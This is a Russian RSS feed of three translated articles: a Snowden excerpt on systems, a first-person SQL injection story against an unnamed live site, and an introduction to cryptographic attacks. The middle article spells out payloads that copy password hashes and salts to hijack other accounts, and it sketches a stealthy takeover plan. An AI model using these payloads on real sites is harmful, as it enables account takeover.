  <p> Мне было доступно несколько разных карьерных путей в сфере технологий. Я мог бы стать разработчиком ПО, или, как часто говорят, программистом, и писать код, заставляющий компьютеры работать. Или я мог стать специалистом по железу или сетям, устанавливать серверы в стойки, подключать провода, протягивать оптоволокно, соединяющее все компьютеры, устройства и файлы.</p>
  <p> Я интересовался компьютерами и программами, а, следовательно, и объединяющими их сетями. Но больше всего меня интриговала их работа на более глубоком уровне абстракции – не как отдельных компонентов, но как общей системы.</p>
  <p> Я много думал на эту тему, когда ездил на машине к Линдси и в местный колледж. За рулём я всегда размышлял, а передвижение домой и на работу по опоясывающей Вашингтон дороге было долгим. Разработчик ПО, или программист, уп��авляет местами отдыха на съездах с дорог, и убеждается, что франшизы всех точек по продаже фаст-фуда и автозаправок соответствовали друг другу и ожиданиям пользователя; специалист по железу строит инфраструктуру, прокладывает дороги; специалист по сетям отвечает за управление трафиком, дорожные знаки и светофоры, чтобы довести толпы пользователей до нужных им целей.</p>
  <p> Системный же специалист подобен планировщику городов, который берёт все имеющиеся компоненты и гарантирует максимальную эффективность их взаимодействия. Это было похоже на то, как будто ты получаешь зарплату за игру в Бога, или, по меньшей мере, в небольшого диктатора.</p>
  <p> Системщики бывают двух видов. Один получает в распоряжение существующую систему целиком и поддерживает её, постепенно повышая эффективность и исправляя поломки. Эта должность называется системный администратор, или сисадмин. Второй анализирует задачу, например, как лучше хранить данные, или как организовывать поиск по базам данных, и придумывает решения, комбинируя существующие компоненты или изобретая совершенно новые.</p>
  <p> Эта, наиболее престижная позиция, называется системный инженер. В итоге я занимался и тем, и другим, сначала доработав до администратора, а там став инженером. Я не обращал внимания на то, как это интенсивное взаимодействие с глубочайшими уровнями интеграции компьютерных технологий влияет на мои политические убеждения.</p>
  <p> Попытаюсь не быть слишком абстрактным, но попробуйте представить себе систему. Неважно, какую – это может быть компьютерная система, правовая система, или даже правительственная. Помните, система – это всего лишь кучка частей, работающих совместно как единое целое, о которой большинство вспоминает, только когда что-то в ней ломается. Один из самых обидных фактов работы с системами состоит в том, что обычно вы замечаете неисправность не в той части системы, которая работает со сбоями. И чтобы понять, из-за чего система обрушилась, приходится начинать с точки, в которой вы обнаружили проблему, и логически идти по системе сквозь все компоненты.</p>
  <p> Поскольку системы работают по инструкциям, или правилам, такой анализ в итоге сводится к поиску того, какие правила не сработали, как именно и почему – к попытке определить те точки, где намерение, стоящее за правилом, не было адекватно выражено через его формулировку или применение. Отказала ли система потому, что какая-то информация не дошла до адресата, или потому, что кто-то использовал систему не по назначению, и получил доступ к запрещённому ресурсу, или он использовал разрешённый ресурс слишком рьяно? Остановил ли один компонент работу другого, или нарушил ли её? Не отняла ли одна программа, или компьютер, или группа людей больше ресурсов у системы, чем положено?</p>
  <p> В течение моей карьеры мне было всё сложнее отделять вопросы о технологиях, за которые я отвечал, от вопросов к моей стране. И я всё больше раздражался из-за того, что у меня получалось чинить первое, но не второе. Я закончил работать в разведке с убеждением в том, что операционная система моей страны – её правительство – решило, что лучше всего работает в сломанном состоянии.</p>
  <p>Оригинал: <a href="https://www.wired.com/story/edward-snowden-in-his-own-words-why-i-became-a-whistle-blower/" target="_blank">https://www.wired.com/story/edward-snowden-in-his-own-words-why-i-became-a-whistle-blower/</a></p>
  <p>Перевел: <a href="https://habr.com/ru/users/SLY_G/" target="_blank">https://habr.com/ru/users/SLY_G/</a></p>
  <h3>by @Cyberlifes</h3>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/Hyg9DztvB</guid><link>https://teletype.in/@cyberlifes/Hyg9DztvB?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/Hyg9DztvB?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Мой первый взлом: сайт, позволяющий задавать любой пользовательский пароль</title><pubDate>Wed, 25 Sep 2019 16:36:23 GMT</pubDate><description><![CDATA[<img src="https://teletype.in/files/55/55139c95-223f-448f-8814-4003846d3709.png"></img>Примечание: автор переведённой статьи не специалист по информационной безопасности, и это его первый экскурс в мир SQL-инъекций. Он просит быть «снисходительными к его наивности».]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/55/55139c95-223f-448f-8814-4003846d3709.png" width="1280" />
  </figure>
  <p></p>
  <p><u>Примечание:</u> автор переведённой статьи не специалист по информационной безопасности, и это его первый экскурс в мир SQL-инъекций. Он просит быть «снисходительными к <em>его </em>наивности».</p>
  <p><u>Предупреждение:</u> автор переведённой статьи не станет раскрывать сайт с этой уязвимостью. Не потому, что он сообщил о ней владельцу и связан узами молчания, а потому что хочет приберечь уязвимость для себя. Если вы вычислите этот сайт, пожалуйста, держите рот на замке (цыц). </p>
  <p> Знаете, вот так иногда открываешь какой-нибудь сайт в инструментарии для разработчика, исследуешь без какой-либо цели минифицированный код и сетевые запросы. И вдруг замечаешь, что-то здесь не так. Совсем не так. Вот и я занимался подобным со страницей пользовательского профиля на одном из сайтов и подметил, что, когда включаешь и выключаешь уведомления о получении, страница шлёт сетевой запрос:</p>
  <pre>/api/users?email=no</pre>
  <p> И я подумал: интересно, не допустили ли они какую-нибудь глупость? Может быть, мне попробовать SQL-инъекцию?</p>
  <p> Я поискал в сети по запросу “xkcd little bobby tables”, чтобы освежить в памяти, как делать SQL-инъекции — мне они не нравятся, — и принялся за работу.</p>
  <p> В сетевой вкладке Chrome я скопировал запрос (Copy &gt; Copy as fetch) и вставил результат во <a href="https://developers.google.com/web/tools/chrome-devtools/javascript/snippets" target="_blank">фрагмент</a>, чтобы можно было воспроизвести запрос:</p>
  <pre>fetch(&#x27;https://blah.com/api/users&#x27;, {
  credentials: &#x27;include&#x27;,
  headers: {
    authorization: &#x27;Bearer blah&#x27;,
    &#x27;content-type&#x27;: &#x27;application/x-www-form-urlencoded&#x27;,
    &#x27;sec-fetch-mode&#x27;: &#x27;cors&#x27;,
    &#x27;x-csrf-token&#x27;: &#x27;blah&#x27;,
  },
  referrer: &#x27;https://blah.com/blah&#x27;,
  referrerPolicy: &#x27;no-referrer-when-downgrade&#x27;,
  body: &#x27;email=no&#x27;, // &lt; -- The bit we&#x27;re interested in
  method: &#x27;POST&#x27;,
  mode: &#x27;cors&#x27;,
});</pre>
  <p> Вся остальная статья посвящена возне со строкой <code>body</code> — она является транспортом для отправки инструкций серверу.</p>
  <p> Сначала я попытался изменить свою фамилию, задав значение в колонке <code>lastName</code>, ориентируясь просто на её название:</p>
  <pre>{
  // ...
  body: &#x60;email=no&#x27;, lastName=&#x27;testing&#x60;
}</pre>
  <p> Ничего интересного не произошло. Затем я проделал то же самое с <code>last_name</code>, потом попытал счастья с <code>surname</code> — и опа! — страница заменила мою фамилию на “testing”. Это было <em>очень </em>захватывающе. Я всегда считал SQL-инъекции чем-то вроде книжной легенды. Тем, что <em>на самом деле</em> не открывает миру код, который вставляет вводимые пользователем данные прямо в SQL-выражения.</p>
  <p><strong>Немного филососфии</strong></p>
  <p> Для всех непосвящённых объясню, что означает обнаруженный мной результат.</p>
  <p> Я считаю, что на сервере происходит нечто подобное:</p>
  <pre>const userId = someSessionStore.userId;
const email = request.body.email;

const sql = &#x60;UPDATE users SET email = &#x27;${email}&#x27; WHERE id = &#x27;${userId}&#x27;&#x60;;</pre>
  <p> Уверен, что их сервер написан на PHP, но я не владею этим языком, так что буду писать примеры на JavaScript. Кроме того, я не особо-то разбираюсь в SQL-запросах. Понятия не имею, называется ли таблица <code>user</code>, или <code>users</code>, или <code>user_table</code>, да это и не важно.</p>
  <p> Если мой пользовательский ID 1234, и я отправляю email=no, тогда SQL получается таким:</p>
  <pre>UPDATE users SET email = &#x27;no&#x27; WHERE id = &#x27;1234&#x27;</pre>
  <p> А если заменить <code>no</code> на строку <code>no&#x27;, surname = &#x27;testing</code>, тогда SQL будет валидным, но хитрым:</p>
  <pre>UPDATE users SET email = &#x27;no&#x27;, surname = &#x27;testing&#x27; WHERE id = &#x27;1234&#x27;</pre>
  <p> Как вы помните, я отправляю запросы из фрагмента кода в инструментах для разработчика, при этом нахожусь на странице профиля. Так что с этого момента можно считать поле surname на этой странице (HTML-элемент &lt;inрut&gt;) маленьким stdout, в который можно записывать информацию, задавая для моего пользовательского аккаунта значение в колонке <code>surname</code> в базе данных.</p>
  <p> Затем мне стало интересно, удастся ли скопировать данные из другой колонки в колонку <code>surname</code>?</p>
  <p> Я не понимал, что делать, как быть с SQL, да к тому же не знал, какая БД используется на сервере. Так что после каждого шага я тратил минут по 20 на поиски в сети, а потом ещё 20 минут чесал в затылке, потому что регулярно вставлял свои кавычки &#x27; не туда, куда нужно. Странно, что я не порушил всю базу данных. Копировать данные из одной колонки в другую оказалось чуть сложнее, потому что я хотел отправить такой запрос (предполагалось, что должна быть колонка <code>password</code>):</p>
  <pre>UPDATE users SET email = &#x27;no&#x27;, surname = password WHERE id = &#x27;1234&#x27;</pre>
  <p> Обратите внимание, что в коде вокруг <code>password</code> нет кавычек. Как вы помните, суперсовременный конструктор запросов должен выглядеть так…</p>
  <pre>const sql = &#x60;UPDATE users SET email = &#x27;${email}&#x27; WHERE id = &#x27;${userId}&#x27;&#x60;;</pre>
  <p> … то есть при попытке передать <code>no&#x27;, surname = password</code></p>
  <p> получившаяся строка не будет валидным SQL-запросом. Вместо этого мне нужно было, чтобы инъектируемая строка целиком стала второй частью запроса, а всё, что идёт после неё, игнорировалось бы. В частности, мне нужно было передать <code>WHERE</code> и; в конце SQL-выражения, а также комментарий <code>#</code>, чтобы информация справа от него игнорировалась. Да, я ужасно объясняю.</p>
  <p> Короче, я отправил новую строку:</p>
  <pre>{
  // ...
  body: &#x60;email=no&#x27;, surname = password WHERE username = &#x27;me@email.com&#x27;; #&#x60;
}</pre>
  <p> А в базу данных будет отправлена такая строка:</p>
  <pre>UPDATE users SET email = &#x27;no&#x27;, surname = password WHERE username = &#x27;me@email.com&#x27;; 
# WHERE id = &#x27;1234&#x27;</pre>
  <p> Обратите внимание, что БД проигнорирует </p>
  <p><code>WHERE id = &#x27;1234&#x27;</code>, поскольку эта часть идёт после комментария # (кажется, запрет на комментирование в SQL-запросах является хорошим способом защиты от неряшливого кода).</p>
  <p> Я надеялся, что мой пароль P@ssword1 появится в текстовом виде в поле фамилии, но вместо этого я получил 00fcdde26dd77af7858a52e3913e6f3330a32b31.</p>
  <p> Меня это разочаровало, хотя и не удивило, и я продолжил попытки скопировать хэш моего пароля в колонку пароля другого пользователя.</p>
  <p> Поясню для новичков: когда где-то создаёшь аккаунт и отправляешь новый пароль P@ssword1, он превращается в хэш наподобие 00fcdde26dd77af7858a52e3913e6f3330a32b31 и сохраняется в базе данных. Глядя на этот хэш, никто не сможет определить ваш пароль (или так рассказывают).</p>
  <p> Когда в следующий раз вы будете логиниться и вводить пароль Password@1, сервер его снова хэширует и сравнит с хэшем, который хранится в базе данных. Так он подтвердит соответствие, даже не сохраняя ваш пароль. </p>
  <p> Это означает, что если я хочу задать кому-нибудь пароль P@ssword1, я должен задать в колонке password у этого пользователя значение 00fcdde26dd77af7858a52e3913e6f3330a32b31.</p>
  <p> Легкотня. Я открыл другой браузер, создал нового пользователя с другой почтой и в первую очередь проверил, могу ли задать ему данные. Обновил ему свойство <code>body</code>:</p>
  <pre>{
  // ...
  body: &#x60;email=no&#x27;, surname = &#x27;WOOT!!&#x27; WHERE username = &#x27;user-two@email.com&#x27;; #&#x60;
}</pre>
  <p> Выполнил код, обновил страницу этого пользователя, и, офигеть, сработало! Теперь у него была фамилия “WOOT!!” (девичья фамилия моей бабушки).</p>
  <p> Затем я попробовал задать этому пользователю пароль:</p>
  <pre>  // ...
  body: &#x60;email=no&#x27;, password = &#x27;00fcdde26dd77af7858a52e3913e6f3330a32b31&#x27; WHERE username = &#x27;user-two@email.com&#x27;; #&#x60;
}</pre>
  <p> И знаете, что?!?!?</p>
  <p> Не сработало. Теперь у меня не было доступа ко второму аккаунту.</p>
  <p> Оказалось, я допустил две ошибки, на вычисление которых ушло несколько часов. Специалисты по инфобезопасности, читающие эту статью, уже поняли, о чём речь, и, вероятно, ржут над дураком, который пишет свои «эксплойты», перечисленные на первой странице «Хакинг для самых маленьких».</p>
  <p> Нуууууу, в конце концов я поискал в сети по запросу “password hash” и заметил, что многие хэши длиннее моего 00fcdde26dd77af7858a52e3913e6f3330a32b31. Похоже, он где-то обрезается. </p>
  <p> Я попытался вписать кусок текста в поле surname, и обнаружил лимит в 40 символов (хорошо, что они задали атрибут maxlength для &lt;inрut&gt;, чтобы соответствовало ограничению в базе данных).</p>
  <p> Теперь меня интересовали только первые 40 символов хэша, который мог быть гораздо длиннее. Поискал по запросу “sql substring”, и вскоре отправил на сервер такой запрос:</p>
  <pre> 
{
  // ...
  body: &#x60;email=no&#x27;, surname = SUBSTRING(password, 30, 1000) WHERE username = &#x27;me@email.com&#x27;; #&#x60;
}</pre>
  <p> Начал с 30, чтобы убедиться, что первые 10 символов перекрываются последними 10 символами 00fcdde26dd77af7858a52e3913e6f3330a32b31. Или последними 9. Или 11.</p>
  <p><strong>Лирическое отступление</strong></p>
  <p> Вернёмся к реалиям: символы перекрывались, и объединив строки, я получил хэш из 64 символов. Снова попробовал скопировать его во второго пользователя:</p>
  <pre> {
  // ...
  body: &#x60;email=no&#x27;, password = &#x27;00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453&#x27; WHERE username = &#x27;user-two@email.com&#x27;; #&#x60;
}</pre>
  <p> И знаете, что?!?! </p>
  <p> Ну, вы уже догадались, ведь я упомянул про <em>две </em>ошибки.</p>
  <p> Я по-прежнему не мог залогиниться во второй аккаунт, но уже был близок к этому (хорошо бы мне знать об этом в тот момент).</p>
  <p> Поискал по запросу “best practices database password” и узнал/вспомнил о такой штуке, как «соль».</p>
  <p> Применение соли означает, что если ты создаёшь хэш для P@ssword1 для одного пользователя, то для другого пользователя тот же пароль даст другой хэш (используется другая соль). Конечно же, один хэш пароля не будет работать для двух пользователей, соли-то разные.</p>
  <p> Вроде бы умно, но в то же время глупо. Во всех примерах в таблице просто была ещё одна колонка под названием salt. Разве это не означает, что мне нужно скопировать данные из двух колонок, а не одной? Разве это не выглядит как второй замок, к которому подходит тот же ключ?</p>
  <p> Я изменил запрос в надежде скопировать значение из колонки, которая может называться salt,  в колонку surname:</p>
  <pre> {
  // ...
  body: &#x60;email=no&#x27;, surname = salt WHERE username = &#x27;myemail@email.com&#x27;; #&#x60;
}</pre>
  <p> В поле фамилии оказался беспорядочный набор символов, хороший знак. Для получения того, что оказалось 64-символьной солью, я снова использовал SUBSTRING.</p>
  <p> Всё было готово. У меня есть хэш пароля и соль, которая использовалась для его создания, нужно только скопировать их в другого пользователя. И я отправил свой последний в тот вечер сетевой запрос:</p>
  <pre>fetch(&#x27;https://blah.com/api/users&#x27;, {
  credentials: &#x27;include&#x27;,
  headers: {
    authorization: &#x27;Bearer blah&#x27;,
    &#x27;content-type&#x27;: &#x27;application/x-www-form-urlencoded&#x27;,
    &#x27;sec-fetch-mode&#x27;: &#x27;cors&#x27;,
    &#x27;x-csrf-token&#x27;: &#x27;blah&#x27;,
  },
  referrer: &#x27;https://blah.com/blah&#x27;,
  referrerPolicy: &#x27;no-referrer-when-downgrade&#x27;,
  body: &#x60;email=no&#x27;, password = &#x27;00fcdde26dd77af7858a52e3913e6f3330a32b3121a61bce915cc6145fc44453&#x27;, salt = &#x27;8b7df143d91c716ecfa5fc1730022f6b421b05cedee8fd52b1fc65a96030ad52&#x27; WHERE username = &#x27;user-two@gmail.com&#x27;; #&#x60;,
  method: &#x27;POST&#x27;,
  mode: &#x27;cors&#x27;,
});</pre>
  <p> Сработало! Теперь я мог залогиниться во второй аккаунт с паролем от первого аккаунта.</p>
  <p> Разве это не безумие?</p>
  <p> * * * </p>
  <p> Было много проб и ошибок, но когда я выберу настоящего пользователя, я сначала получу его соль и хэш и сохраню у себя. Затем заменю его подсоленный хэш на свой, как описано в статье, залогинюсь и моментально заменю соль и хэш на оригинальные значения. Мне нужно лишь на долю секунды изменить чужой пароль, пока я логинюсь, так что меня почти наверняка не обнаружат.</p>
  <p> В теории, конечно. Я бы никогда так не сделал.</p>
  <p> * * *</p>
  <p> Возможно, вам интересно узнать, не выдуманная ли это история. Не выдуманная. Я изменил несколько мелких подробностей, чтобы защититься от обвинений, но всё остальное было так, как описано. И, конечно же, на самом деле я сообщил об уязвимости владельцам сайта. </p>
  <p> Но я не могу не спрашивать себя, было ли это всего лишь удачей новичка. Это в буквальном смысле первый сайт, на котором я попробовал SQL-инъекцию, и всё было словно приготовлено для меня, словно я сдавал экзамен по хакингу для малышей.</p>
  <p> Описанный мной сайт невелик, у него мало пользователей (34 718). Это платный сервис, так что для матёрых хакеров он не представляет интереса. И всё же меня поразило, что такое возможно.</p>
  <p> Короче, теперь я подсел на всю эту тему с информационной безопасностью. Для меня в ней объединились два любимых занятия: написание кода и хулиганство. Так что погуглив “information security salaries Australia”, думаю, я нашёл себе новую работу.</p>
  <p> Спасибо, что прочитали! </p>
  <p>Перевод: <a href="https://habr.com/ru/users/barsoo4ok/" target="_blank">https://habr.com/ru/users/barsoo4ok/</a></p>
  <p>Оригинал: <a href="https://medium.com/@david.gilbertson/my-first-exploit-a-site-that-allows-setting-any-users-password-a07b1142af2c" target="_blank">https://medium.com/@david.gilbertson/my-first-exploit-a-site-that-allows-setting-any-users-password-a07b1142af2c</a></p>
  <p>by @Cyberlifes</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/ryvxWaY7B</guid><link>https://teletype.in/@cyberlifes/ryvxWaY7B?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/ryvxWaY7B?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Криптографические атаки простыми словами</title><pubDate>Thu, 08 Aug 2019 15:34:07 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/a4/a4c375d0-8f96-45c9-86c7-1e660dad9149.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/83/83b3150a-7c93-4fb4-8f83-647ed4d45e40.png"></img>При слове «криптография» некоторые вспоминают свой пароль WiFi, зелёный замочек рядом с адресом любимого сайта и то, как трудно залезть в чужую почту. Другие вспоминают череду уязвимостей последних лет с говорящими аббревиатурами (DROWN, FREAK, POODLE...), стильными логотипами и предупреждением срочно обновить браузер.]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/83/83b3150a-7c93-4fb4-8f83-647ed4d45e40.png" width="1280" />
  </figure>
  <p></p>
  <p>При слове «криптография» некоторые вспоминают свой пароль WiFi, зелёный замочек рядом с адресом любимого сайта и то, как трудно залезть в чужую почту. Другие вспоминают череду уязвимостей последних лет с говорящими аббревиатурами (DROWN, FREAK, POODLE...), стильными логотипами и предупреждением срочно обновить браузер.</p>
  <p></p>
  <p> Криптография охватывает всё это, но <em>суть</em> в ином. Суть в тонкой грани между простым и сложным. Некоторые вещи просто сделать, но сложно вернуть обратно: например, разбить яйцо. Другие вещи легко сделать, но трудно вернуть обратно, когда отсутствует маленькая важная решающая часть: например, открыть запертую дверь, когда «решающая часть» является ключом. Криптография изучает эти ситуации и способы их практического использования.</p>
  <p> За последние годы коллекция криптографических атак превратилась в зоопарк кричащих логотипов, набитых формулами научных статей и породила общее мрачное ощущение, что всё сломано. Но на самом деле многие из атак основаны на нескольких общих принципах, а бесконечные страницы формул часто сводятся к простым для понимания идеям.</p>
  <p> В этой серии статей мы рассмотрим различные типы криптографических атак, с акцентом на основные принципы. В общих чертах и не совсем в этом порядке, но мы расскажем следующее:</p>
  <ul>
    <li><strong>Базовые стратегии:</strong> брутфорс, частотный анализ, интерполяция, понижение и кросс-протоколы.<br /> </li>
    <li><strong>«Брендовые» уязвимости:</strong> FREAK, CRIME, POODLE, DROWN, Logjam.<br /> </li>
    <li><strong>Продвинутые стратегии:</strong> атаки оракула (атака Воденэ, атака Келси); метод встречи посередине (meet-in-the-middle), атака «дней рождения», статистическое смещение (дифференциальный криптоанализ, интегральный криптоанализ и т. д.).<br /> </li>
    <li><strong>Атаки по сторонним каналам</strong> и их близкие родственники, методы анализа сбоев.<br /> </li>
    <li><strong>Атаки на криптографию с открытым ключом:</strong> кубический корень, броадкаст, связанное сообщение, атака Копперсмита, алгоритм Полига — Хеллмана, числовое решето, атака Винера, атака Блайхенбахера.</li>
  </ul>
  <p> Эта конкретная статья охватывает вышеупомянутый материал вплоть до атаки Келси.</p>
  <h1>Базовые стратегии</h1>
  <p> Следующие атаки просты в том смысле, что их можно практически полностью объяснить без особых технических деталей. Объясним каждый тип атаки в самых простых терминах, не углубляясь в сложные примеры или расширенные варианты использования.</p>
  <p> Некоторые из этих атак в основном потеряли актуальность и не применялись уже много лет. Другие — старожилы, они всё ещё регулярно подкрадываются к ничего не подозревающим разработчикам криптосистем в 21 веке. Можно считать, что эпоха современной криптографии началась с появления IBM DES — первого шифра, который выдержал все атаки в этом списке.</p>
  <h2>Простой брутфорс</h2>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/6f0/cab/445/6f0cab44522b473f2407720c1f67b1be.jpg" width="165" />
  </figure>
  <p>Схема шифрования состоит из двух частей: 1) функция шифрования, которая принимает сообщение (открытый текст) в сочетании с ключом, а затем создаёт зашифрованное сообщение — шифротекст; 2) функция дешифрования, которая принимает шифротекст и ключ и создаёт открытый текст. И шифрование, и дешифрование должны быть легко вычисляемы с ключом — и трудно без него.</p>
  <p> Предположим, что мы видим шифротекст и пытаемся расшифровать его без какой-либо дополнительной информации (это называется атакой «только шифротекст»). Если мы каким-то волшебным образом найдём правильный ключ, то можем легко проверить, что он действительно правильный, если результат является разумным сообщением.</p>
  <p> Обратите внимание, что здесь два неявных предположения. Во-первых, что мы знаем, как выполнить расшифровку, то есть, как работает криптосистема. Это стандартное предположение при обсуждении криптографии. Сокрытие деталей реализации шифра от злоумышленников может показаться дополнительной мерой безопасности, но как только злоумышленник выяснит эти детали, данная дополнительная безопасность незаметно и необратимо потеряна. Таков <a href="https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle" target="_blank">принцип Керчхоффса</a>: попадание системы в руки врага не должно причинять неудобств.</p>
  <p> Во-вторых, мы предполагаем, что правильный ключ является единственным ключом, который приведёт к разумной расшифровке. Это также разумное предположение; оно выполняется, если шифротекст намного длиннее ключа и хорошо читаем. Как правило, так и бывает в реальном мире, за исключением <a href="https://en.wikipedia.org/wiki/One-time_pad" target="_blank">огромных непрактичных ключей</a> или <a href="https://en.wikipedia.org/wiki/Deniable_encryption" target="_blank">других махинаций, которые лучше оставить в стороне</a> (если вам не нравится, что мы отмахнулись от объяснений, пожалуйста, см. теорему 3.8 <a href="https://www.eit.lth.se/fileadmin/eit/courses/edi051/lecture_notes/LN3.pdf" target="_blank">здесь</a>).</p>
  <p> Учитывая вышеизложенное, возникает стратегия: проверить каждый возможный ключ. Это называется брутфорсом, и такая атака гарантированно работает против всех практических шифров — в конечном итоге. Например, брутфорса достаточно, чтобы взломать <a href="https://www.codexpedia.com/cryptography/shift-ciphers/" target="_blank">шифр Цезаря</a>, древний шифр, где ключом является одна буква из алфавита, что подразумевает чуть более 20 возможных ключей.</p>
  <p> К сожалению для криптоаналитиков, увеличение размера ключа хорошо защищает от брутфорса. По мере роста размера ключа количество возможных ключей увеличивается экспоненциально. С современными размерами ключей простой брутфорс совершенно не практичен. Чтобы понять, что мы имеем в виду, возьмём самый быстрый известный суперкомпьютер на середину 2019 года: <a href="https://www.ibm.com/thought-leadership/summit-supercomputer/" target="_blank">Summit</a> от IBM, с пиковой производительностью порядка 1017 операций в секунду. Сегодня типичная длина ключа составляет 128 бит, что означает 2128 возможных комбинаций. Для перебора всех ключей суперкомпьютеру Summit потребуется время, которое примерно в 7800 раз превышает возраст Вселенной.</p>
  <p> Считать ли брутфорс историческим курьёзом? Вовсе нет: это необходимый ингредиент в поваренной книге криптоанализа. Редко встречаются настолько слабые шифры, что их можно взломать только умной атакой, без применения силы в той или иной степени. Многие успешные взломы используют сначала алгоритмический метод, чтобы ослабить целевой шифр, а затем запустить брутфорс.</p>
  <h2>Частотный анализ</h2>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/cc5/441/be5/cc5441be52b0de71fc71bbe80b1a5c60.jpg" width="240" />
  </figure>
  <p>Большинство текстов — это не тарабарщина. Например, в англоязычных текстах много букв &#x27;e&#x27; и артиклей &#x27;the&#x27;; в двоичных файлах — много нулевых байтов в качестве заполнителя между фрагментами информации. Частотный анализ — любая атака, которая использует этот факт.</p>
  <p> Каноническим примером шифра, уязвимого для этой атаки, является простой шифр подстановки. В этом шифре ключ представляет собой таблицу с заменой всех букв. Например, &#x27;g&#x27; заменяется на &#x27;h&#x27;, &#x27;o&#x27; — на j, Поэтому слово &#x27;go&#x27; превращается в &#x27;hj&#x27;. Этот шифр трудно поддаётся простому брутфорсу, так как существует очень много возможных таблиц подстановки. Если вас интересует математика, эффективная длина ключа составляет около 88 бит: это . Но частотный анализ обычно быстро справляется с задачей.</p>
  <p> Рассмотрим следующий шифротекст, обработанный простым шифром подстановки:</p>
  <pre>XDYLY ALY UGLY XDWNKE WN DYAJYN ANF YALXD DGLAXWG XDAN ALY FLYAUX GR WN OGQL ZDWBGEGZDO</pre>
  <p> Поскольку <code>Y</code> встречается часто, в том числе в конце многих слов, мы можем предварительно предположить, что это буква <code>e</code>:</p>
  <pre>XDeLe ALe UGLe XDWNKE WN DeAJeN ANF eALXD DGLAXWG XDAN ALe FLeAUX GR WN OGQL ZDWBGEGZDO</pre>
  <p> Пара <code>XD</code> повторяется в начале нескольких слов. В частности, сочетание XDeLe явно предполагает слово <code>these</code> или <code>there</code>, поэтому продолжаем:</p>
  <p>theLe ALe UGLe thWNKE WN heAJeN ANF eALth DGLAtWG thAN ALe FLeAUt GR WN OGQL ZDWBGEGZDO Далее предположим, что <code>L</code> соответствует <code> r</code>, <code>A</code> — <code>a</code> и так далее. Вероятно, придётся сделать несколько попыток, но по сравнению с полным брутфорсом эта атака восстанавливает исходный текст в кратчайшие сроки:</p>
  <pre>there are more things in heaven and earth horatio than are dreamt of in your philosophy</pre>
  <p> Для некоторых решение таких «криптограмм» — увлекательное хобби.</p>
  <p> Идея частотного анализа более фундаментальная, чем кажется на первый взгляд. И он применим к гораздо более сложным шифрам. На протяжении всей истории различные конструкции шифров пытались противостоять такой атаке с помощью «полиалфавитной подстановки». Здесь в процессе шифрования таблица замены букв изменяется сложными, но предсказуемыми способами, которые зависят от ключа. Все эти шифры в своё время считались трудными для взлома; и всё же скромный частотный анализ в итоге все их одолел.</p>
  <p> Самым амбициозным полиалфавитным шифром в истории и, наверное, самым известным, был шифр «Энигмы» во Второй мировой войне. Он был относительно сложным по сравнению с предшественниками, но в результате долгой и упорной работы британские криптоаналитики взломали его с помощью частотного анализа. Конечно, они не смогли разработать элегантную атаку, как показанная выше; им пришлось сравнивать известные пары открытых и зашифрованных текстов (так называемая «атака на основе открытых текстов») и даже провоцируя пользователей «Энигмы» на шифрование определённых сообщений с анализом результата («атака на основе подобранного открытого текста»). Но это не облегчило судьбу побеждённых армий врагов и потопленных подводных лодок.</p>
  <p> После этого триумфа частотный анализ исчез из истории криптоанализа. Шифры современной цифровой эпохи созданы для работы с битами, а не буквами. Что ещё более важно, эти шифры разработаны с мрачным пониманием того, что позже стало известно как <a href="https://www.schneier.com/blog/archives/2011/04/schneiers_law.html" target="_blank">закон Шнайера</a>: любой может создать алгоритм шифрования, который сам не сможет взломать. Недостаточно, чтобы шифровальная система <em>казалась</em> сложной: чтобы доказать свою ценность, она должна пройти безжалостный обзор безопасности от многих криптоаналитиков, которые сделают всё возможное, чтобы взломать шифр.</p>
  <h2>Предварительные вычисления</h2>
  <figure class="m_custom">
    <img src="https://habrastorage.org/getpro/habr/post_images/f13/0a7/a34/f130a7a3431e084d1248dd428b013daa.gif" width="260" />
  </figure>
  <p>Возьмём гипотетический город Преком Хайтс с населением 200 000 человек. В каждом доме города находятся ценные вещи в среднем на $30 000, но не более, чем на $50 000. Рынок безопасности в Прекоме монополизировала компания ACME Industries, которая производит легендарные дверные замки класса Coyote (tm). Согласно экспертному анализу, замок класса Coyote способна сломать только очень сложная гипотетическая машина, создание которой требует около пяти лет и $50 000 вложений. Город в безопасности?</p>
  <p> Скорее всего, нет. В конце концов, появится достаточно амбициозный преступник. Он будет рассуждать так: «Да, я понесу большие авансовые расходы. Пять лет терпеливого ожидания, и $50 000. Но по окончании работы у меня будет доступ ко <em>всему богатству этого города</em>. Если я правильно разыграю свои карты, то эта инвестиция многократно окупится».</p>
  <p> Аналогично и в криптографии. Атаки против конкретного шифра подвергаются безжалостному анализу затрат и выгод. Если соотношение благоприятно, атака не произойдёт. Но атаки, которые действуют сразу против многих потенциальных жертв, почти всегда окупаются, и в этом случае лучшая практика проектирования — предположить, что они начались с первого дня. У нас есть по сути криптографическая версия закона Мёрфи: «Всё, что реально может сломать систему, сломает систему».</p>
  <p> Простейший пример криптосистемы, уязвимой к атаке с предварительными вычислениями, — шифр с постоянным алгоритмом без использования ключа. Так было в случае с <a href="https://en.wikipedia.org/wiki/Caesar_cipher" target="_blank">шифром Цезаря</a>, который просто сдвигает каждую букву алфавита на три буквы вперёд (таблица закольцована, поэтому последняя буква в алфавите шифруется третьей). Здесь опять проявляется принцип Керчхоффса: как только система взломана, она взломана навсегда.</p>
